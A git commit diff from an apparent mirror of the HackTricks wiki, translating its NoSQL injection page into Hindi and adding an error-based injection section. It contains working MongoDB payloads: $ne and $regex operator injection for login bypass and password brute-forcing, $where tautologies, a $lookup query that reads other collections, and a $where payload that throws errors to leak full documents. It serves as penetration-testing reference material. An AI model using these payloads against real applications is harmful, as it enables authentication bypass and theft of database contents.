mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/nosql-injection.md'] to hi
This commit is contained in:
		
							parent
							
								
									01f6bb976a
								
							
						
					
					
						commit
						a9eb75a7ac
					
				@ -6,7 +6,7 @@
 | 
			
		||||
 | 
			
		||||
PHP में आप एक Array भेज सकते हैं, भेजे गए पैरामीटर को _parameter=foo_ से _parameter\[arrName]=foo_ में बदलकर।
 | 
			
		||||
 | 
			
		||||
एक्सप्लॉइट्स **Operator** जोड़ने पर आधारित हैं:
 | 
			
		||||
शोषण **Operator** जोड़ने पर आधारित हैं:
 | 
			
		||||
```bash
 | 
			
		||||
username[$ne]=1$password[$ne]=1 #<Not Equals>
 | 
			
		||||
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
 | 
			
		||||
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
 | 
			
		||||
```javascript
 | 
			
		||||
query = { $where: `this.username == '${username}'` }
 | 
			
		||||
```
 | 
			
		||||
एक हमलावर इसको इस तरह से भुनाने के लिए स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट कर सकता है, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देती है क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरीज़ को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं।
 | 
			
		||||
एक हमलावर इसे इस तरह से उपयोग कर सकता है कि वह स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट करे, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देगी क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरियों को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं।
 | 
			
		||||
```
 | 
			
		||||
Normal sql: ' or 1=1-- -
 | 
			
		||||
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
 | 
			
		||||
@ -46,7 +46,7 @@ username[$ne]=toto&password[$regex]=.{1}
 | 
			
		||||
username[$ne]=toto&password[$regex]=.{3}
 | 
			
		||||
# True if the length equals 1,3...
 | 
			
		||||
```
 | 
			
		||||
### Extract **data** information
 | 
			
		||||
### डेटा जानकारी निकालें
 | 
			
		||||
```
 | 
			
		||||
in URL (if length == 3)
 | 
			
		||||
username[$ne]=toto&password[$regex]=a.{2}
 | 
			
		||||
@ -86,9 +86,9 @@ in JSON
 | 
			
		||||
 | 
			
		||||
### विभिन्न संग्रह से जानकारी प्राप्त करें
 | 
			
		||||
 | 
			
		||||
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों** के **परिणाम** प्राप्त कर रहे हैं।
 | 
			
		||||
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों के परिणाम** प्राप्त कर रहे हैं।
 | 
			
		||||
 | 
			
		||||
**नोट:** `$lookup` और अन्य समग्र कार्य केवल तभी उपलब्ध हैं जब `aggregate()` फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` फ़ंक्शंस का।
 | 
			
		||||
**नोट:** `$lookup` और अन्य समेकन कार्य केवल तभी उपलब्ध हैं जब `aggregate()` फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` फ़ंक्शंस का।
 | 
			
		||||
```json
 | 
			
		||||
[
 | 
			
		||||
{
 | 
			
		||||
@ -108,6 +108,12 @@ in JSON
 | 
			
		||||
}
 | 
			
		||||
]
 | 
			
		||||
```
 | 
			
		||||
### Error-Based Injection
 | 
			
		||||
 | 
			
		||||
`throw new Error(JSON.stringify(this))` को `$where` क्लॉज में इंजेक्ट करें ताकि सर्वर-साइड जावास्क्रिप्ट त्रुटियों के माध्यम से पूर्ण दस्तावेज़ों को एक्सफिल्ट्रेट किया जा सके (इसके लिए एप्लिकेशन को डेटाबेस त्रुटियों को लीक करना आवश्यक है)। उदाहरण:
 | 
			
		||||
```json
 | 
			
		||||
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
 | 
			
		||||
```
 | 
			
		||||
## MongoDB Payloads
 | 
			
		||||
 | 
			
		||||
सूची [यहां से](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 | 
			
		||||
@ -229,5 +235,6 @@ get_password(u)
 | 
			
		||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
 | 
			
		||||
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 | 
			
		||||
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
 | 
			
		||||
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user